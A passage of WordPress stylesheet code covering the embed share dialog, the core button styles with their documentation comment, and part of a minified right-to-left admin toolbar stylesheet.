	margin-left: 10px;
}

.wp-embed-share-dialog {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background-color: #1d2327;
	background-color: rgba(0, 0, 0, 0.9);
	color: #fff;
	opacity: 1;
	transition: opacity .25s ease-in-out;
}

.wp-embed-share-dialog.hidden {
	opacity: 0;
	visibility: hidden;
}

.wp-embed-share-dialog-open,
.wp-embed-share-dialog-close {
	margin: -8px 0 0;
	padding: 0;
	background: transparent;
	border: none;
	cursor: pointer;
	outline: none;
}

.wp-embed-share-dialog-open .dashicons,
.wp-embed-share-dialog-close .dashicons {
	padding: 4px;
}

.wp-embed-share-dialog-open .dashicons {
	top: 8px;
}

.wp-embed-share-dialog-open:focus .dashicons,
.wp-embed-share-dialog-close:focus .dashicons {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	border-radius: 100%;
}

.wp-embed-share-dialog-close {
	position: absolute;
	top: 20px;
	right: 20px;
	font-size: 22px;
}

.wp-embed-share-dialog-close:hover {
	text-decoration: none;
}

.wp-embed-share-dialog-close .dashicons {
	height: 24px;
	width: 24px;
	background-size: 24px;
}

.wp-embed-share-dialog-content {
	height: 100%;
	transform-style: preserve-3d;
	overflow: hidden;
}

.wp-embed-share-dialog-text {
	margin-top: 25px;
	padding: 20px;
}

.wp-embed-share-tabs {
	margin: 0 0 20px;
	padding: 0;
	list-style: none;
}

.wp-embed-share-tab-button {
	display: inline-block;
}

.wp-embed-share-tab-button button {
	margin: 0;
	padding: 0;
	border: none;
	background: transparent;
	font-size: 16px;
	line-height: 1.3;
	color: #a7aaad;
	cursor: pointer;
	transition: color .1s ease-in;
}

.wp-embed-share-tab-button [aria-selected="true"] {
	color: #fff;
}

.wp-embed-share-tab-button button:hover {
	color: #fff;
}

.wp-embed-share-tab-button + .wp-embed-share-tab-button {
	margin: 0 0 0 10px;
	padding: 0 0 0 11px;
	border-left: 1px solid #a7aaad;
}

.wp-embed-share-tab[aria-hidden="true"] {
	display: none;
}

p.wp-embed-share-description {
	margin: 0;
	font-size: 14px;
	line-height: 1;
	font-style: italic;
	color: #a7aaad;
}

.wp-embed-share-input {
	box-sizing: border-box;
	width: 100%;
	border: none;
	height: 28px;
	margin: 0 0 10px;
	padding: 0 5px;
	font-size: 14px;
	font-weight: 400;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 1.5;
	resize: none;
	cursor: text;
}

textarea.wp-embed-share-input {
	height: 72px;
}

html[dir="rtl"] .wp-embed-featured-image.square {
	float: right;
	margin-right: 0;

	margin-left: 20px;
}

html[dir="rtl"] .wp-embed-site-title a {
	padding-left: 0;
	padding-right: 35px;
}

html[dir="rtl"] .wp-embed-site-icon {
	margin-right: 0;
	margin-left: 10px;
	left: auto;
	right: 0;
}

html[dir="rtl"] .wp-embed-meta {
	text-align: left;
}

html[dir="rtl"] .wp-embed-footer {
}

html[dir="rtl"] .wp-embed-share {
	margin-left: 0;
	margin-right: 10px;
}

html[dir="rtl"] .wp-embed-share-dialog-close {
	right: auto;
	left: 20px;
}

html[dir="rtl"] .wp-embed-share-tab-button + .wp-embed-share-tab-button {
	margin: 0 10px 0 0;
	padding: 0 11px 0 0;
	border-left: none;
	border-right: 1px solid #a7aaad;
}
/* ----------------------------------------------------------------------------

NOTE: If you edit this file, you should make sure that the CSS rules for
buttons in the following files are updated.

* jquery-ui-dialog.css
* editor.css

WordPress-style Buttons
=======================
Create a button by adding the `.button` class to an element. For backward
compatibility, we support several other classes (such as `.button-secondary`),
but these will *not* work with the stackable classes described below.

Button Styles
-------------
To display a primary button style, add the `.button-primary` class to a button.

Button Sizes
------------
Adjust a button's size by adding the `.button-large` or `.button-small` class.

Button States
-------------
Lock the state of a button by adding the name of the pseudoclass as
an actual class (e.g. `.hover` for `:hover`).


TABLE OF CONTENTS:
------------------
 1.0 - Button Layouts
 2.0 - Default Button Style
 3.0 - Primary Button Style
 4.0 - Button Groups
 5.0 - Responsive Button Styles

---------------------------------------------------------------------------- */

/* ----------------------------------------------------------------------------
  1.0 - Button Layouts
---------------------------------------------------------------------------- */

.wp-core-ui .button,
.wp-core-ui .button-primary,
.wp-core-ui .button-secondary {
	display: inline-block;
	text-decoration: none;
	font-size: 13px;
	line-height: 2.15384615; /* 28px */
	min-height: 30px;
	margin: 0;
	padding: 0 10px;
	cursor: pointer;
	border-width: 1px;
	border-style: solid;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-sizing: border-box;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.wp-core-ui button::-moz-focus-inner,
.wp-core-ui input[type="reset"]::-moz-focus-inner,
.wp-core-ui input[type="button"]::-moz-focus-inner,
.wp-core-ui input[type="submit"]::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.wp-core-ui .button.button-large,
.wp-core-ui .button-group.button-large .button {
	min-height: 32px;
	line-height: 2.30769231; /* 30px */
	padding: 0 12px;
}

.wp-core-ui .button.button-small,
.wp-core-ui .button-group.button-small .button {
	min-height: 26px;
	line-height: 2.18181818; /* 24px */
	padding: 0 8px;
	font-size: 11px;
}

.wp-core-ui .button.button-hero,
.wp-core-ui .button-group.button-hero .button {
	font-size: 14px;
	min-height: 46px;
	line-height: 3.14285714;
	padding: 0 36px;
}

.wp-core-ui .button.hidden {
	display: none;
}

/* Style Reset buttons as simple text links */

.wp-core-ui input[type="reset"],
.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active,
.wp-core-ui input[type="reset"]:focus {
	background: none;
	border: none;
	box-shadow: none;
	padding: 0 2px 1px;
	width: auto;
}

/* ----------------------------------------------------------------------------
  2.0 - Default Button Style
---------------------------------------------------------------------------- */

.wp-core-ui .button,
.wp-core-ui .button-secondary {
	color: #2271b1;
	border-color: #2271b1;
	background: #f6f7f7;
	vertical-align: top;
}

.wp-core-ui p .button {
	vertical-align: baseline;
}

.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover{
	background: #f0f0f1;
	border-color: #0a4b78;
	color: #0a4b78;
}

.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
	background: #f6f7f7;
	border-color: #3582c4;
	color: #0a4b78;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	/* Reset inherited offset from Gutenberg */
	outline-offset: 0;
}

/* :active state */
.wp-core-ui .button:active,
.wp-core-ui .button-secondary:active {
	background: #f6f7f7;
	border-color: #8c8f94;
	box-shadow: none;
}

/* pressed state e.g. a selected setting */
.wp-core-ui .button.active,
.wp-core-ui .button.active:hover {
	background-color: #dcdcde;
	color: #135e96;
	border-color: #0a4b78;
	box-shadow: inset 0 2px 5px -3px #0a4b78;
}

.wp-core-ui .button.active:focus {
	border-color: #3582c4;
	box-shadow:
		inset 0 2px 5px -3px #0a4b78,
		0 0 0 1px #3582c4;
}

.wp-core-ui .button[disabled],
.wp-core-ui .button:disabled,
.wp-core-ui .button.disabled,
.wp-core-ui .button-secondary[disabled],
.wp-core-ui .button-secondary:disabled,
.wp-core-ui .button-secondary.disabled,
.wp-core-ui .button-disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	cursor: default;
	transform: none !important;
}

.wp-core-ui .button[aria-disabled="true"],
.wp-core-ui .button-secondary[aria-disabled="true"] {
	cursor: default;
}

/* Buttons that look like links, for a cross of good semantics with the visual */
.wp-core-ui .button-link {
	margin: 0;
	padding: 0;
	box-shadow: none;
	border: 0;
	border-radius: 0;
	background: none;
	cursor: pointer;
	text-align: left;
	/* Mimics the default link style in common.css */
	color: #2271b1;
	text-decoration: underline;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
}

.wp-core-ui .button-link:hover,
.wp-core-ui .button-link:active {
	color: #135e96;
}

.wp-core-ui .button-link:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .button-link-delete {
	color: #d63638;
}

.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
	color: #d63638;
	background: transparent;
}

.wp-core-ui .button-link-delete:disabled {
	/* overrides the default buttons disabled background */
	background: transparent !important;
}


/* ----------------------------------------------------------------------------
  3.0 - Primary Button Style
---------------------------------------------------------------------------- */

.wp-core-ui .button-primary {
	background: #2271b1;
	border-color: #2271b1;
	color: #fff;
	text-decoration: none;
	text-shadow: none;
}

.wp-core-ui .button-primary.hover,
.wp-core-ui .button-primary:hover,
.wp-core-ui .button-primary.focus,
.wp-core-ui .button-primary:focus {
	background: #135e96;
	border-color: #135e96;
	color: #fff;
}

.wp-core-ui .button-primary.focus,
.wp-core-ui .button-primary:focus {
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 3px #2271b1;
}

.wp-core-ui .button-primary.active,
.wp-core-ui .button-primary.active:hover,
.wp-core-ui .button-primary.active:focus,
.wp-core-ui .button-primary:active {
	background: #135e96;
	border-color: #135e96;
	box-shadow: none;
	color: #fff;
}

.wp-core-ui .button-primary[disabled],
.wp-core-ui .button-primary:disabled,
.wp-core-ui .button-primary-disabled,
.wp-core-ui .button-primary.disabled {
	color: #a7aaad !important;
	background: #f6f7f7 !important;
	border-color: #dcdcde !important;
	box-shadow: none !important;
	text-shadow: none !important;
	cursor: default;
}

.wp-core-ui .button-primary[aria-disabled="true"] {
	cursor: default;
}

/* ----------------------------------------------------------------------------
  4.0 - Button Groups
---------------------------------------------------------------------------- */

.wp-core-ui .button-group {
	position: relative;
	display: inline-block;
	white-space: nowrap;
	font-size: 0;
	vertical-align: middle;
}

.wp-core-ui .button-group > .button {
	display: inline-block;
	border-radius: 0;
	margin-right: -1px;
}

.wp-core-ui .button-group > .button:first-child {
	border-radius: 3px 0 0 3px;
}

.wp-core-ui .button-group > .button:last-child {
	border-radius: 0 3px 3px 0;
}

.wp-core-ui .button-group > .button-primary + .button {
	border-left: 0;
}

.wp-core-ui .button-group > .button:focus {
	position: relative;
	z-index: 1;
}

/* pressed state e.g. a selected setting */
.wp-core-ui .button-group > .button.active {
	background-color: #dcdcde;
	color: #135e96;
	border-color: #0a4b78;
	box-shadow: inset 0 2px 5px -3px #0a4b78;
}

.wp-core-ui .button-group > .button.active:focus {
	border-color: #3582c4;
	box-shadow:
		inset 0 2px 5px -3px #0a4b78,
		0 0 0 1px #3582c4;
}

/* ----------------------------------------------------------------------------
  5.0 - Responsive Button Styles
---------------------------------------------------------------------------- */

@media screen and (max-width: 782px) {

	.wp-core-ui .button,
	.wp-core-ui .button.button-large,
	.wp-core-ui .button.button-small,
	input#publish,
	input#save-post,
	a.preview {
		padding: 0 14px;
		line-height: 2.71428571; /* 38px */
		font-size: 14px;
		vertical-align: middle;
		min-height: 40px;
		margin-bottom: 4px;
	}

	/* Copy attachment URL button in the legacy edit media page. */
	.wp-core-ui .copy-to-clipboard-container .copy-attachment-url {
		margin-bottom: 0;
	}

	#media-upload.wp-core-ui .button {
		padding: 0 10px 1px;
		min-height: 24px;
		line-height: 22px;
		font-size: 13px;
	}

	.media-frame.mode-grid .bulk-select .button {
		margin-bottom: 0;
	}

	/* Publish Metabox Options */
	.wp-core-ui .save-post-status.button {
		position: relative;
		margin: 0 14px 0 10px; /* 14px right margin to match all other buttons */
	}

	/* Reset responsive styles in Press This, Customizer */

	.wp-core-ui.wp-customizer .button {
		font-size: 13px;
		line-height: 2.15384615; /* 28px */
		min-height: 30px;
		margin: 0;
		vertical-align: inherit;
	}

	.wp-customizer .theme-overlay .theme-actions .button {
		margin-bottom: 5px;
	}

	.media-modal-content .media-toolbar-primary .media-button {
		margin-top: 10px;
		margin-left: 5px;
	}

	/* Reset responsive styles on Log in button on iframed login form */

	.interim-login .button.button-large {
		min-height: 30px;
		line-height: 2;
		padding: 0 12px 2px;
	}

}
/*! This file is auto-generated */
html{--wp-admin--admin-bar--height:32px;scroll-padding-top:var(--wp-admin--admin-bar--height)}#wpadminbar *{height:auto;width:auto;margin:0;padding:0;position:static;text-shadow:none;text-transform:none;letter-spacing:normal;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-style:normal;line-height:2.46153846;border-radius:0;box-sizing:content-box;transition:none;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:auto}.rtl #wpadminbar *{font-family:Tahoma,sans-serif}html:lang(he-il) .rtl #wpadminbar *{font-family:Arial,sans-serif}#wpadminbar .ab-empty-item{cursor:default}#wpadminbar .ab-empty-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#f0f0f1}#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{white-space:nowrap}#wpadminbar ul li:after,#wpadminbar ul li:before{content:normal}#wpadminbar a,#wpadminbar a img,#wpadminbar a img:hover,#wpadminbar a:hover{border:none;text-decoration:none;background:0 0;box-shadow:none}#wpadminbar a:active,#wpadminbar a:focus,#wpadminbar div,#wpadminbar input[type=email],#wpadminbar input[type=number],#wpadminbar input[type=password],#wpadminbar input[type=search],#wpadminbar input[type=text],#wpadminbar input[type=url],#wpadminbar select,#wpadminbar textarea{box-shadow:none}#wpadminbar a:focus{outline-offset:-1px}#wpadminbar{direction:rtl;color:#c3c4c7;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.46153846;height:32px;position:fixed;top:0;right:0;width:100%;min-width:600px;z-index:99999;background:#1d2327}#wpadminbar .ab-sub-wrapper,#wpadminbar ul,#wpadminbar ul li{background:0 0;clear:none;list-style:none;margin:0;padding:0;position:relative;text-indent:0;z-index:99999}#wpadminbar ul#wp-admin-bar-root-default>li{margin-left:0}#wpadminbar .quicklinks ul{text-align:right}#wpadminbar li{float:right}#wpadminbar .ab-empty-item{outline:0}#wpadminbar .quicklinks .ab-top-secondary>li{float:left}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks a,#wpadminbar .shortlink-input{height:32px;display:block;padding:0 10px;margin:0}#wpadminbar .quicklinks>ul>li>a{padding:0 7px 0 8px}#wpadminbar .menupop .ab-sub-wrapper,#wpadminbar .shortlink-input{margin:0;padding:0;box-shadow:0 3px 5px rgba(0,0,0,.2);background:#2c3338;display:none;position:absolute;float:none}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:100%}#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper{left:0;right:auto}#wpadminbar .ab-submenu{padding:6px 0}#wpadminbar .selected .shortlink-input{display:block}#wpadminbar .quicklinks .menupop ul li{float:none}#wpadminbar .quicklinks .menupop ul li a strong{font-weight:600}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:2;height:26px;white-space:nowrap;min-width:140px}#wpadminbar .shortlink-input{width:200px}#wpadminbar li.hover>.ab-sub-wrapper,#wpadminbar.nojs li:hover>.ab-sub-wrapper{display:block}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-right:100%;margin-top:-32px}#wpadminbar .ab-top-secondary .menupop li.hover>.ab-sub-wrapper,#wpadminbar .ab-top-secondary .menupop li:hover>.ab-sub-wrapper{margin-right:0;right:inherit;left:100%}#wpadminbar .ab-top-menu>li.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{background:#2c3338;color:#72aee6}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label,#wpadminbar>#wp-toolbar li.hover span.ab-label{color:#72aee6}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon,.wp-admin-bar-arrow{position:relative;float:right;font:normal 20px/1 dashicons;speak:never;padding:4px 0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-image:none!important;margin-left:6px}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{color:#a7aaad;color:rgba(240,246,252,.6)}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{position:relative;transition:color .1s ease-in-out}#wpadminbar .ab-label{display:inline-block;height:32px}#wpadminbar .ab-submenu .ab-item{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#72aee6}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#c3c4c7}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#72aee6}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before,#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{position:absolute;font:normal 17px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar .menupop .menupop>.ab-item{display:block;padding-left:2em}#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;left:10px;padding:4px 0;content:"\f141";color:inherit}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item{padding-right:2em;padding-left:1em}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;right:6px;content:"\f139"}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary{display:block;position:relative;left:auto;margin:0;box-shadow:none}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#3c434a}#wpadminbar .quicklinks .menupop .ab-sub-secondary>li .ab-item:focus a,#wpadminbar .quicklinks .menupop .ab-sub-secondary>li>a:hover{color:#72aee6}#wpadminbar .quicklinks a span#ab-updates{background:#f0f0f1;color:#2c3338;display:inline;padding:2px 5px;font-size:10px;font-weight:600;border-radius:10px}#wpadminbar .quicklinks a:hover span#ab-updates{background:#fff;color:#000}#wpadminbar .ab-top-secondary{float:left}#wpadminbar ul li:last-child,#wpadminbar ul li:last-child .ab-item{box-shadow:none}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d63638}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#d63638}#wp-admin-bar-my-account>ul{min-width:198px}#wp-admin-bar-my-account:not(.with-avatar)>.ab-item{display:inline-block}#wp-admin-bar-my-account>.ab-item:before{content:"\f110";top:2px;float:left;margin-right:6px;margin-left:0}#wp-admin-bar-my-account.with-avatar>.ab-item:before{display:none;content:none}#wp-admin-bar-my-account.with-avatar>ul{min-width:270px}#wpadminbar #wp-admin-bar-user-actions>li{margin-right:16px;margin-left:16px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:6px 0 12px}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin-right:88px}#wpadminbar #wp-admin-bar-user-info{margin-top:6px;margin-bottom:15px;height:auto;background:0 0}#wp-admin-bar-user-info .avatar{position:absolute;right:-72px;top:4px;width:64px;height:64px}#wpadminbar #wp-admin-bar-user-info a{background:0 0;height:auto}#wpadminbar #wp-admin-bar-user-info span{background:0 0;padding:0;height:18px}#wpadminbar #wp-admin-bar-user-info .display-name,#wpadminbar #wp-admin-bar-user-info .username{display:block}#wpadminbar #wp-admin-bar-user-info .username{color:#a7aaad;font-size:11px}#wpadminbar #wp-admin-bar-my-account.with-avatar>.ab-empty-item img,#wpadminbar #wp-admin-bar-my-account.with-avatar>a img{width:auto;height:16px;padding:0;border:1px solid #8c8f94;background:#f0f0f1;line-height:1.84615384;vertical-align:middle;margin:-4px 6px 0 0;float:none;display:inline}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{width:15px;height:20px;margin-left:0;padding:6px 0 5px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0 7px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{content:"\f120";top:2px}#wpadminbar .quicklinks li .blavatar{display:inline-block;vertical-align:middle;font:normal 16px/1 dashicons!important;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;color:#f0f0f1}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar{color:#72aee6}#wpadminbar .quicklinks li div.blavatar:before,#wpadminbar .quicklinks li img.blavatar{height:16px;width:16px;margin:0 -2px 2px 8px}#wpadminbar .quicklinks li div.blavatar:before{content:"\f120";display:inline-block}#wpadminbar #wp-admin-bar-appearance{margin-top:-12px}#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f541";top:2px}#wpadminbar #wp-admin-bar-site-editor>.ab-item:before{content:"\f100";top:2px}#wpadminbar #wp-admin-bar-customize>.ab-item:before{content:"\f540";top:2px}#wpadminbar #wp-admin-bar-edit>.ab-item:before{content:"\f464";top:2px}#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f226"}.wp-admin #wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f102"}#wpadminbar #wp-admin-bar-comments .ab-icon{margin-left:6px}#wpadminbar #wp-admin-bar-comments .ab-icon:before{content:"\f101";top:3px}#wpadminbar #wp-admin-bar-comments .count-0{opacity:.5}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{content:"\f132";top:4px}#wpadminbar #wp-admin-bar-updates .ab-icon:before{content:"\f463";top:2px}#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{display:inline-block;animation:rotation 2s infinite linear}@media (prefers-reduced-motion:reduce){#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{animation:none}}#wpadminbar #wp-admin-bar-search .ab-item{padding:0;background:0 0}#wpadminbar #adminbarsearch{position:relative;height:32px;padding:0 2px;z-index:1}#wpadminbar #adminbarsearch:before{position:absolute;top:6px;right:5px;z-index:20;font:normal 20px/1 dashicons!important;content:"\f179";speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input{display:inline-block;float:none;position:relative;z-index:30;font-size:13px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:1.84615384;text-indent:0;height:24px;width:24px;max-width:none;padding:0 24px 0 3px;margin:0;color:#c3c4c7;background-color:rgba(255,255,255,0);border:none;outline:0;cursor:pointer;box-shadow:none;box-sizing:border-box;transition-duration:.4s;transition-property:width,background;transition-timing-function:ease}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{z-index:10;color:#000;width:200px;background-color:rgba(255,255,255,.9);cursor:text;border:0}#wpadminbar #adminbarsearch .adminbar-button{display:none}.customize-support #wpadminbar .hide-if-customize,.customize-support .hide-if-customize,.customize-support .wp-core-ui .hide-if-customize,.customize-support.wp-core-ui .hide-if-customize,.no-customize-support #wpadminbar .hide-if-no-customize,.no-customize-support .hide-if-no-customize,.no-customize-support .wp-core-ui .hide-if-no-customize,.no-customize-support.wp-core-ui .hide-if-no-customize{display:none}#wpadminbar .screen-reader-text,#wpadminbar .screen-reader-text span{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#wpadminbar .screen-reader-shortcut{position:absolute;top:-1000em;right:6px;height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#f0f0f1;color:#2271b1;z-index:100000;line-height:normal;text-decoration:none}#wpadminbar .screen-reader-shortcut:focus{top:7px;background:#f0f0f1;box-shadow:0 0 2px 2px rgba(0,0,0,.6)}@media screen and (max-width:782px){html{--wp-admin--admin-bar--height:46px}html #wpadminbar{height:46px;min-width:240px}#wpadminbar *{font-size:14px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.28571428}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks>ul>li>a{padding:0;height:46px;line-height:3.28571428;width:auto}#wpadminbar .ab-icon{font:40px/1 dashicons!important;margin:0;padding:0;width:52px;height:46px;text-align:center}#wpadminbar .ab-icon:before{text-align:center}#wpadminbar .ab-submenu{padding:0}#wpadminbar #wp-admin-bar-my-account a.ab-item,#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{text-overflow:clip}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:1.6}#wpadminbar .ab-label{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-top:-46px}#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop>.ab-item{padding-left:30px}#wpadminbar .menupop .menupop>.ab-item:before{top:10px;left:6px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper .ab-item{font-size:16px;padding:8px 16px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper a:empty{display:none}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{padding:0;width:52px;height:46px;text-align:center;vertical-align:top}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{font:28px/1 dashicons!important;top:-3px}#wpadminbar .ab-icon,#wpadminbar .ab-item:before{padding:0}#wpadminbar #wp-admin-bar-customize>.ab-item,#wpadminbar #wp-admin-bar-edit>.ab-item,#wpadminbar #wp-admin-bar-my-account>.ab-item,#wpadminbar #wp-admin-bar-my-sites>.ab-item,#wpadminbar #wp-admin-bar-site-editor>.ab-item,#wpadminbar #wp-admin-bar-site-name>.ab-item{text-indent:100%;white-space:nowrap;overflow:hidden;width:52px;padding:0;color:#a7aaad;position:relative}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon{padding:0;margin-left:0}#wpadminbar #wp-admin-bar-customize>.ab-item:before,#wpadminbar #wp-admin-bar-edit>.ab-item:before,#wpadminbar #wp-admin-bar-my-account>.ab-item:before,#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-editor>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{display:block;text-indent:0;font:normal 32px/1 dashicons;speak:never;top:7px;width:52px;text-align:center;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar #wp-admin-bar-appearance{margin-top:0}#wpadminbar .quicklinks li 